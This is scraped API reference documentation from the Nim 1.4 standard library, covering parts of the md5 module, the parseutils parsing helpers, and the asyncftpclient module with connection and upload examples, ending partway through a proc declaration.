$toMD5("abc") == "900150983cd24fb0d6963f7d28e17f72" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/md5.nim#L180) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/md5.nim#L180) ``` proc `$`(d: MD5Digest): string {...}{.raises: [], tags: [].} ``` Converts a `MD5Digest` value into its string representation. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/md5.nim#L195) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/md5.nim#L195) ``` proc getMD5(s: string): string {...}{.raises: [], tags: [].} ``` Computes an MD5 value of `s` and returns its string representation. .. note:: available at compile time See also: * [toMD5 proc](#toMD5,string) which returns the `MD5Digest` of a string **Example:** ``` assert getMD5("abc") == "900150983cd24fb0d6963f7d28e17f72" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/md5.nim#L203) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/md5.nim#L203) ``` proc `==`(D1, D2: MD5Digest): bool {...}{.raises: [], tags: [].} ``` Checks if two `MD5Digest` values are identical. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/md5.nim#L221) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/md5.nim#L221) ``` proc md5Init(c: var MD5Context) {...}{.raises: [], tags: [], gcsafe.} ``` Initializes a `MD5Context`. If you use [toMD5 proc](#toMD5,string) there's no need to call this function explicitly. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/md5.nim#L228) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/md5.nim#L228) ``` proc md5Update(c: var MD5Context; input: cstring; len: int) {...}{.raises: [], tags: [], gcsafe.} ``` Updates the `MD5Context` with the `input` data of length `len`. If you use [toMD5 proc](#toMD5,string) there's no need to call this function explicitly. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/md5.nim#L241) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/md5.nim#L241) ``` proc md5Final(c: var MD5Context; digest: var MD5Digest) {...}{.raises: [], tags: [], gcsafe.} ``` Finishes the `MD5Context` and stores the result in `digest`. If you use [toMD5 proc](#toMD5,string) there's no need to call this function explicitly. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/md5.nim#L263) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/md5.nim#L263) nim parseutils parseutils ========== This module contains helpers for parsing tokens, numbers, integers, floats, identifiers, etc. To unpack raw bytes look at the <streams> module. ``` let logs = @["2019-01-10: OK_", "2019-01-11: FAIL_", "2019-01: aaaa"] var outp: seq[string] for log in logs: var res: string if parseUntil(log, res, ':') == 10: # YYYY-MM-DD == 10 outp.add(res & " - " & captureBetween(log, ' ', '_')) doAssert outp == @["2019-01-10 - OK", "2019-01-11 - FAIL"] ``` ``` from strutils import Digits, parseInt let input1 = "2019 school start" input2 = "3 years back" startYear = input1[0 .. skipWhile(input1, Digits)-1] # 2019 yearsBack = input2[0 .. skipWhile(input2, Digits)-1] # 3 examYear = parseInt(startYear) + parseInt(yearsBack) doAssert "Examination is in " & $examYear == "Examination is in 2022" ``` **See also:** * [strutils module](strutils) for combined and identical parsing proc's * [json module](json) for a JSON parser * [parsecfg module](parsecfg) for a configuration file parser * [parsecsv module](parsecsv) for a simple CSV (comma separated value) parser * [parseopt module](parseopt) for a command line parser * [parsexml module](parsexml) for a XML / HTML parser * [other parsers](lib#pure-libraries-parsers) for other parsers Types ----- ``` InterpolatedKind = enum ikStr, ## ``str`` part of the interpolated string ikDollar, ## escaped ``$`` part of the interpolated string ikVar, ## ``var`` part of the interpolated string ikExpr ## ``expr`` part of the interpolated string ``` Describes for `interpolatedFragments` which part of the interpolated string is yielded; for example in "str$$$var${expr}" [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseutils.nim#L586) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseutils.nim#L586) Procs ----- ``` proc parseBin[T: SomeInteger](s: string; number: var T; start = 0; maxLen = 0): int {...}{. noSideEffect.} ``` Parses a binary number and stores its value in `number`. Returns the number of the parsed characters or 0 in case of an error. If error, the value of `number` is not changed. If `maxLen == 0`, the parsing continues until the first non-bin character or to the end of the string. Otherwise, no more than `maxLen` characters are parsed starting from the `start` position. It does not check for overflow. If the value represented by the string is too big to fit into `number`, only the value of last fitting characters will be stored in `number` without producing an error. **Example:** ``` var num: int doAssert parseBin("0100_1110_0110_1001_1110_1101", num) == 29 doAssert num == 5138925 doAssert parseBin("3", num) == 0 var num8: int8 doAssert parseBin("0b_0100_1110_0110_1001_1110_1101", num8) == 32 doAssert num8 == 0b1110_1101'i8 doAssert parseBin("0b_0100_1110_0110_1001_1110_1101", num8, 3, 9) == 9 doAssert num8 == 0b0100_1110'i8 var num8u: uint8 doAssert parseBin("0b_0100_1110_0110_1001_1110_1101", num8u) == 32 doAssert num8u == 237 var num64: int64 doAssert parseBin("0100111001101001111011010100111001101001", num64) == 40 doAssert num64 == 336784608873 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseutils.nim#L62) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseutils.nim#L62) ``` proc parseOct[T: SomeInteger](s: string; number: var T; start = 0; maxLen = 0): int {...}{. noSideEffect.} ``` Parses an octal number and stores its value in `number`. Returns the number of the parsed characters or 0 in case of an error. If error, the value of `number` is not changed. If `maxLen == 0`, the parsing continues until the first non-oct character or to the end of the string. Otherwise, no more than `maxLen` characters are parsed starting from the `start` position. It does not check for overflow. If the value represented by the string is too big to fit into `number`, only the value of last fitting characters will be stored in `number` without producing an error. **Example:** ``` var num: int doAssert parseOct("0o23464755", num) == 10 doAssert num == 5138925 doAssert parseOct("8", num) == 0 var num8: int8 doAssert parseOct("0o_1464_755", num8) == 11 doAssert num8 == -19 doAssert parseOct("0o_1464_755", num8, 3, 3) == 3 doAssert num8 == 102 var num8u: uint8 doAssert parseOct("1464755", num8u) == 7 doAssert num8u == 237 var num64: int64 doAssert parseOct("2346475523464755", num64) == 16 doAssert num64 == 86216859871725 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseutils.nim#L109) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseutils.nim#L109) ``` proc parseHex[T: SomeInteger](s: string; number: var T; start = 0; maxLen = 0): int {...}{. noSideEffect.} ``` Parses a hexadecimal number and stores its value in `number`. Returns the number of the parsed characters or 0 in case of an error. If error, the value of `number` is not changed. If `maxLen == 0`, the parsing continues until the first non-hex character or to the end of the string. Otherwise, no more than `maxLen` characters are parsed starting from the `start` position. It does not check for overflow. If the value represented by the string is too big to fit into `number`, only the value of last fitting characters will be stored in `number` without producing an error. **Example:** ``` var num: int doAssert parseHex("4E_69_ED", num) == 8 doAssert num == 5138925 doAssert parseHex("X", num) == 0 doAssert parseHex("#ABC", num) == 4 var num8: int8 doAssert parseHex("0x_4E_69_ED", num8) == 11 doAssert num8 == 0xED'i8 doAssert parseHex("0x_4E_69_ED", num8, 3, 2) == 2 doAssert num8 == 0x4E'i8 var num8u: uint8 doAssert parseHex("0x_4E_69_ED", num8u) == 11 doAssert num8u == 237 var num64: int64 doAssert parseHex("4E69ED4E69ED", num64) == 12 doAssert num64 == 86216859871725 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseutils.nim#L156) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseutils.nim#L156) ``` proc parseIdent(s: string; ident: var string; start = 0): int {...}{.raises: [], tags: [].} ``` Parses an identifier and stores it in `ident`. Returns the number of the parsed characters or 0 in case of an error. **Example:** ``` var res: string doAssert parseIdent("Hello World", res, 0) == 5 doAssert res == "Hello" doAssert parseIdent("Hello World", res, 1) == 4 doAssert res == "ello" doAssert parseIdent("Hello World", res, 6) == 5 doAssert res == "World" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseutils.nim#L211) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseutils.nim#L211) ``` proc parseIdent(s: string; start = 0): string {...}{.raises: [], tags: [].} ``` Parses an identifier and returns it or an empty string in case of an error. **Example:** ``` doAssert parseIdent("Hello World", 0) == "Hello" doAssert parseIdent("Hello World", 1) == "ello" doAssert parseIdent("Hello World", 5) == "" doAssert parseIdent("Hello World", 6) == "World" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseutils.nim#L229) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseutils.nim#L229) ``` proc skipWhitespace(s: string; start = 0): int {...}{.inline, raises: [], tags: [].} ``` Skips the whitespace starting at `s[start]`. Returns the number of skipped characters. **Example:** ``` doAssert skipWhitespace("Hello World", 0) == 0 doAssert skipWhitespace(" Hello World", 0) == 1 doAssert skipWhitespace("Hello World", 5) == 1 doAssert skipWhitespace("Hello World", 5) == 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseutils.nim#L244) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseutils.nim#L244) ``` proc skip(s, token: string; start = 0): int {...}{.inline, raises: [], tags: [].} ``` Skips the `token` starting at `s[start]`. Returns the length of `token` or 0 if there was no `token` at `s[start]`. **Example:** ``` doAssert skip("2019-01-22", "2019", 0) == 4 doAssert skip("2019-01-22", "19", 0) == 0 doAssert skip("2019-01-22", "19", 2) == 2 doAssert skip("CAPlow", "CAP", 0) == 3 doAssert skip("CAPlow", "cap", 0) == 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseutils.nim#L255) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseutils.nim#L255) ``` proc skipIgnoreCase(s, token: string; start = 0): int {...}{.raises: [], tags: [].} ``` Same as `skip` but case is ignored for token matching. **Example:** ``` doAssert skipIgnoreCase("CAPlow", "CAP", 0) == 3 doAssert skipIgnoreCase("CAPlow", "cap", 0) == 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseutils.nim#L270) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseutils.nim#L270) ``` proc skipUntil(s: string; until: set[char]; start = 0): int {...}{.inline, raises: [], tags: [].} ``` Skips all characters until one char from the set `until` is found or the end is reached. Returns number of characters skipped. **Example:** ``` doAssert skipUntil("Hello World", {'W', 'e'}, 0) == 1 doAssert skipUntil("Hello World", {'W'}, 0) == 6 doAssert skipUntil("Hello World", {'W', 'd'}, 0) == 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseutils.nim#L280) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseutils.nim#L280) ``` proc skipUntil(s: string; until: char; start = 0): int {...}{.inline, raises: [], tags: [].} ``` Skips all characters until the char `until` is found or the end is reached. Returns number of characters skipped. **Example:** ``` doAssert skipUntil("Hello World", 'o', 0) == 4 doAssert skipUntil("Hello World", 'o', 4) == 0 doAssert skipUntil("Hello World", 'W', 0) == 6 doAssert skipUntil("Hello World", 'w', 0) == 11 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseutils.nim#L291) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseutils.nim#L291) ``` proc skipWhile(s: string; toSkip: set[char]; start = 0): int {...}{.inline, raises: [], tags: [].} ``` Skips all characters while one char from the set `token` is found. Returns number of characters skipped. **Example:** ``` doAssert skipWhile("Hello World", {'H', 'e'}) == 2 doAssert skipWhile("Hello World", {'e'}) == 0 doAssert skipWhile("Hello World", {'W', 'o', 'r'}, 6) == 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseutils.nim#L303) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseutils.nim#L303) ``` proc parseUntil(s: string; token: var string; until: set[char]; start = 0): int {...}{. inline, raises: [], tags: [].} ``` Parses a token and stores it in `token`. Returns the number of the parsed characters or 0 in case of an error. A token consists of the characters notin `until`. **Example:** ``` var myToken: string doAssert parseUntil("Hello World", myToken, {'W', 'o', 'r'}) == 4 doAssert myToken == "Hell" doAssert parseUntil("Hello World", myToken, {'W', 'r'}) == 6 doAssert myToken == "Hello " doAssert parseUntil("Hello World", myToken, {'W', 'r'}, 3) == 3 doAssert myToken == "lo " ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseutils.nim#L317) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseutils.nim#L317) ``` proc parseUntil(s: string; token: var string; until: char; start = 0): int {...}{. inline, raises: [], tags: [].} ``` Parses a token and stores it in `token`. Returns the number of the parsed characters or 0 in case of an error. A token consists of any character that is not the `until` character. **Example:** ``` var myToken: string doAssert parseUntil("Hello World", myToken, 'W') == 6 doAssert myToken == "Hello " doAssert parseUntil("Hello World", myToken, 'o') == 4 doAssert myToken == "Hell" doAssert parseUntil("Hello World", myToken, 'o', 2) == 2 doAssert myToken == "ll" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseutils.nim#L336) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseutils.nim#L336) ``` proc parseUntil(s: string; token: var string; until: string; start = 0): int {...}{. inline, raises: [], tags: [].} ``` Parses a token and stores it in `token`. Returns the number of the parsed characters or 0 in case of an error. A token consists of any character that comes before the `until` token. **Example:** ``` var myToken: string doAssert parseUntil("Hello World", myToken, "Wor") == 6 doAssert myToken == "Hello " doAssert parseUntil("Hello World", myToken, "Wor", 2) == 4 doAssert myToken == "llo " ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseutils.nim#L355) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseutils.nim#L355) ``` proc parseWhile(s: string; token: var string; validChars: set[char]; start = 0): int {...}{. inline, raises: [], tags: [].} ``` Parses a token and stores it in `token`. Returns the number of the parsed characters or 0 in case of an error. A token consists of the characters in `validChars`. **Example:** ``` var myToken: string doAssert parseWhile("Hello World", myToken, {'W', 'o', 'r'}, 0) == 0 doAssert myToken.len() == 0 doAssert parseWhile("Hello World", myToken, {'W', 'o', 'r'}, 6) == 3 doAssert myToken == "Wor" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseutils.nim#L382) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseutils.nim#L382) ``` proc captureBetween(s: string; first: char; second = '\x00'; start = 0): string {...}{. raises: [], tags: [].} ``` Finds the first occurrence of `first`, then returns everything from there up to `second` (if `second` is '0', then `first` is used). **Example:** ``` doAssert captureBetween("Hello World", 'e') == "llo World" doAssert captureBetween("Hello World", 'e', 'r') == "llo Wo" doAssert captureBetween("Hello World", 'l', start = 6) == "d" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseutils.nim#L399) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseutils.nim#L399) ``` proc parseBiggestInt(s: string; number: var BiggestInt; start = 0): int {...}{. gcsafe, extern: "npuParseBiggestInt", noSideEffect, raises: [ValueError], tags: [].} ``` Parses an integer starting at `start` and stores the value into `number`. Result is the number of processed chars or 0 if there is no integer. `ValueError` is raised if the parsed integer is out of the valid range. **Example:** ``` var res: BiggestInt doAssert parseBiggestInt("9223372036854775807", res, 0) == 19 doAssert res == 9223372036854775807 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseutils.nim#L445) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseutils.nim#L445) ``` proc parseInt(s: string; number: var int; start = 0): int {...}{.gcsafe, extern: "npuParseInt", noSideEffect, raises: [ValueError], tags: [].} ``` Parses an integer starting at `start` and stores the value into `number`. Result is the number of processed chars or 0 if there is no integer. `ValueError` is raised if the parsed integer is out of the valid range. **Example:** ``` var res: int doAssert parseInt("2019", res, 0) == 4 doAssert res == 2019 doAssert parseInt("2019", res, 2) == 2 doAssert res == 19 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseutils.nim#L461) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseutils.nim#L461) ``` proc parseSaturatedNatural(s: string; b: var int; start = 0): int {...}{.raises: [], tags: [].} ``` Parses a natural number into `b`. This cannot raise an overflow error. `high(int)` is returned for an overflow. The number of processed character is returned. This is usually what you really want to use instead of parseInt. **Example:** ``` var res = 0 discard parseSaturatedNatural("848", res) doAssert res == 848 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseutils.nim#L480) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseutils.nim#L480) ``` proc parseBiggestUInt(s: string; number: var BiggestUInt; start = 0): int {...}{. gcsafe, extern: "npuParseBiggestUInt", noSideEffect, raises: [ValueError], tags: [].} ``` Parses an unsigned integer starting at `start` and stores the value into `number`. `ValueError` is raised if the parsed integer is out of the valid range. **Example:** ``` var res: BiggestUInt doAssert parseBiggestUInt("12", res, 0) == 2 doAssert res == 12 doAssert parseBiggestUInt("1111111111111111111", res, 0) == 19 doAssert res == 1111111111111111111'u64 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseutils.nim#L524) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseutils.nim#L524) ``` proc parseUInt(s: string; number: var uint; start = 0): int {...}{.gcsafe, extern: "npuParseUInt", noSideEffect, raises: [ValueError], tags: [].} ``` Parses an unsigned integer starting at `start` and stores the value into `number`. `ValueError` is raised if the parsed integer is out of the valid range. **Example:** ``` var res: uint doAssert parseUInt("3450", res) == 4 doAssert res == 3450 doAssert parseUInt("3450", res, 2) == 2 doAssert res == 50 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseutils.nim#L542) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseutils.nim#L542) ``` proc parseBiggestFloat(s: string; number: var BiggestFloat; start = 0): int {...}{. magic: "ParseBiggestFloat", importc: "nimParseBiggestFloat", noSideEffect.} ``` Parses a float starting at `start` and stores the value into `number`. Result is the number of processed chars or 0 if a parsing error occurred. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseutils.nim#L561) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseutils.nim#L561) ``` proc parseFloat(s: string; number: var float; start = 0): int {...}{.gcsafe, extern: "npuParseFloat", noSideEffect, raises: [], tags: [].} ``` Parses a float starting at `start` and stores the value into `number`. Result is the number of processed chars or 0 if there occurred a parsing error. **Example:** ``` var res: float doAssert parseFloat("32", res, 0) == 2 doAssert res == 32.0 doAssert parseFloat("32.57", res, 0) == 5 doAssert res == 32.57 doAssert parseFloat("32.57", res, 3) == 2 doAssert res == 57.00 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseutils.nim#L567) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseutils.nim#L567) Iterators --------- ``` iterator interpolatedFragments(s: string): tuple[kind: InterpolatedKind, value: string] {...}{.raises: [ValueError], tags: [].} ``` Tokenizes the string `s` into substrings for interpolation purposes. **Example:** ``` var outp: seq[tuple[kind: InterpolatedKind, value: string]] for k, v in interpolatedFragments(" $this is ${an example} $$"): outp.add (k, v) doAssert outp == @[(ikStr, " "), (ikVar, "this"), (ikStr, " is "), (ikExpr, "an example"), (ikStr, " "), (ikDollar, "$")] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseutils.nim#L594) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseutils.nim#L594)
programming_docs
nim asyncftpclient asyncftpclient ============== This module implements an asynchronous FTP client. It allows you to connect to an FTP server and perform operations on it such as for example: * The upload of new files. * The removal of existing files. * Download of files. * Changing of files' permissions. * Navigation through the FTP server's directories. Connecting to an FTP server --------------------------- In order to begin any sort of transfer of files you must first connect to an FTP server. You can do so with the `connect` procedure. ``` import asyncdispatch, asyncftpclient proc main() {.async.} = var ftp = newAsyncFtpClient("example.com", user = "test", pass = "test") await ftp.connect() echo("Connected") waitFor(main()) ``` A new `main` async procedure must be declared to allow the use of the `await` keyword. The connection will complete asynchronously and the client will be connected after the `await ftp.connect()` call. Uploading a new file -------------------- After a connection is made you can use the `store` procedure to upload a new file to the FTP server. Make sure to check you are in the correct working directory before you do so with the `pwd` procedure, you can also instead specify an absolute path. ``` import asyncdispatch, asyncftpclient proc main() {.async.} = var ftp = newAsyncFtpClient("example.com", user = "test", pass = "test") await ftp.connect() let currentDir = await ftp.pwd() assert currentDir == "/home/user/" await ftp.store("file.txt", "file.txt") echo("File finished uploading") waitFor(main()) ``` Checking the progress of a file transfer ---------------------------------------- The progress of either a file upload or a file download can be checked by specifying a `onProgressChanged` procedure to the `store` or `retrFile` procedures. Procs that take an `onProgressChanged` callback will call this every `progressInterval` milliseconds. ``` import asyncdispatch, asyncftpclient proc onProgressChanged(total, progress: BiggestInt, speed: float) {.async.} = echo("Uploaded ", progress, " of ", total, " bytes") echo("Current speed: ", speed, " kb/s") proc main() {.async.} = var ftp = newAsyncFtpClient("example.com", user = "test", pass = "test", progressInterval = 500) await ftp.connect() await ftp.store("file.txt", "/home/user/file.txt", onProgressChanged) echo("File finished uploading") waitFor(main()) ``` Imports ------- <asyncdispatch>, <asyncnet>, <nativesockets>, <strutils>, <parseutils>, <os>, <times>, <net> Types ----- ``` AsyncFtpClient = ref object csock*: AsyncSocket dsock*: AsyncSocket user*, pass*: string address*: string port*: Port progressInterval: int jobInProgress*: bool job*: FtpJob dsockConnected*: bool ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncftpclient.nim#L85) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncftpclient.nim#L85) ``` FtpJobType = enum JRetrText, JRetr, JStore ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncftpclient.nim#L96) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncftpclient.nim#L96) ``` FtpEventType = enum EvTransferProgress, EvLines, EvRetr, EvStore ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncftpclient.nim#L113) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncftpclient.nim#L113) ``` FtpEvent = object filename*: string case typ*: FtpEventType of EvLines: lines*: string ## Lines that have been transferred. of EvRetr, EvStore: ## Retr/Store operation finished. nil of EvTransferProgress: bytesTotal*: BiggestInt ## Bytes total. bytesFinished*: BiggestInt ## Bytes transferred. speed*: BiggestInt ## Speed in bytes/s currentJob*: FtpJobType ## The current job being performed. ``` Event [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncftpclient.nim#L116) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncftpclient.nim#L116) ``` ReplyError = object of IOError ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncftpclient.nim#L129) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncftpclient.nim#L129) ``` ProgressChangedProc = proc (total, progress: BiggestInt; speed: float): Future[ void] {...}{.closure, gcsafe.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncftpclient.nim#L131) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncftpclient.nim#L131) Procs ----- ``` proc send(ftp: AsyncFtpClient; m: string): Future[TaintedString] {...}{. raises: [Exception, ValueError], tags: [RootEffect].} ``` Send a message to the server, and wait for a primary reply. `\c\L` is added for you. You need to make sure that the message `m` doesn't contain any newline characters. Failing to do so will raise `AssertionDefect`. **Note:** The server may return multiple lines of coded replies. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncftpclient.nim#L149) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncftpclient.nim#L149) ``` proc connect(ftp: AsyncFtpClient): owned(Future[void]) {...}{.raises: [Exception], tags: [RootEffect].} ``` Connect to the FTP server specified by `ftp`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncftpclient.nim#L185) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncftpclient.nim#L185) ``` proc pwd(ftp: AsyncFtpClient): Future[TaintedString] {...}{. raises: [Exception, ValueError], tags: [RootEffect].} ``` Returns the current working directory. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncftpclient.nim#L204) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncftpclient.nim#L204) ``` proc cd(ftp: AsyncFtpClient; dir: string): owned(Future[void]) {...}{. raises: [Exception], tags: [RootEffect].} ``` Changes the current directory on the remote FTP server to `dir`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncftpclient.nim#L210) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncftpclient.nim#L210) ``` proc cdup(ftp: AsyncFtpClient): owned(Future[void]) {...}{.raises: [Exception], tags: [RootEffect].} ``` Changes the current directory to the parent of the current directory. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncftpclient.nim#L214) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncftpclient.nim#L214) ``` proc listDirs(ftp: AsyncFtpClient; dir = ""): Future[seq[string]] {...}{. raises: [Exception, ValueError], tags: [RootEffect].} ``` Returns a list of filenames in the given directory. If `dir` is "", the current directory is used. If `async` is true, this function will return immediately and it will be your job to use asyncdispatch's `poll` to progress this operation. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncftpclient.nim#L231) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncftpclient.nim#L231) ``` proc fileExists(ftp: AsyncFtpClient; file: string): Future[bool] {...}{. raises: [Exception, ValueError], tags: [RootEffect].} ``` Determines whether `file` exists. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncftpclient.nim#L242) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncftpclient.nim#L242) ``` proc createDir(ftp: AsyncFtpClient; dir: string; recursive = false): owned( Future[void]) {...}{.raises: [Exception], tags: [RootEffect].} ``` Creates a directory `dir`. If `recursive` is true, the topmost subdirectory of `dir` will be created first, following the secondmost... etc. this allows you to give a full path as the `dir` without worrying about subdirectories not existing. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncftpclient.nim#L248) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncftpclient.nim#L248) ``` proc chmod(ftp: AsyncFtpClient; path: string; permissions: set[FilePermission]): owned( Future[void]) {...}{.raises: [Exception], tags: [RootEffect].} ``` Changes permission of `path` to `permissions`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncftpclient.nim#L266) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncftpclient.nim#L266) ``` proc list(ftp: AsyncFtpClient; dir = ""): Future[string] {...}{. raises: [Exception, ValueError], tags: [RootEffect].} ``` Lists all files in `dir`. If `dir` is `""`, uses the current working directory. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncftpclient.nim#L287) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncftpclient.nim#L287) ``` proc retrText(ftp: AsyncFtpClient; file: string): Future[string] {...}{. raises: [Exception, ValueError], tags: [RootEffect].} ``` Retrieves `file`. File must be ASCII text. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncftpclient.nim#L297) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncftpclient.nim#L297) ``` proc defaultOnProgressChanged(total, progress: BiggestInt; speed: float): Future[ void] {...}{.nimcall, gcsafe, raises: [Exception], tags: [RootEffect].} ``` Default FTP `onProgressChanged` handler. Does nothing. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncftpclient.nim#L332) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncftpclient.nim#L332) ``` proc retrFile(ftp: AsyncFtpClient; file, dest: string; onProgressChanged: ProgressChangedProc = defaultOnProgressChanged): owned( Future[void]) {...}{.raises: [Exception], tags: [RootEffect, TimeEffect, WriteIOEffect].} ``` Downloads `file` and saves it to `dest`. The `EvRetr` event is passed to the specified `handleEvent` function when the download is finished. The event's `filename` field will be equal to `file`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncftpclient.nim#L340) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncftpclient.nim#L340) ``` proc store(ftp: AsyncFtpClient; file, dest: string; onProgressChanged: ProgressChangedProc = defaultOnProgressChanged): owned( Future[void]) {...}{.raises: [Exception], tags: [RootEffect, ReadIOEffect, TimeEffect].} ``` Uploads `file` to `dest` on the remote FTP server. Usage of this function asynchronously is recommended to view the progress of the download. The `EvStore` event is passed to the specified `handleEvent` function when the upload is finished, and the `filename` field will be equal to `file`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncftpclient.nim#L392) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncftpclient.nim#L392) ``` proc rename(ftp: AsyncFtpClient; nameFrom: string; nameTo: string): owned( Future[void]) {...}{.raises: [Exception], tags: [RootEffect].} ``` Rename a file or directory on the remote FTP Server from current name `name_from` to new name `name_to` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncftpclient.nim#L407) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncftpclient.nim#L407) ``` proc removeFile(ftp: AsyncFtpClient; filename: string): owned(Future[void]) {...}{. raises: [Exception], 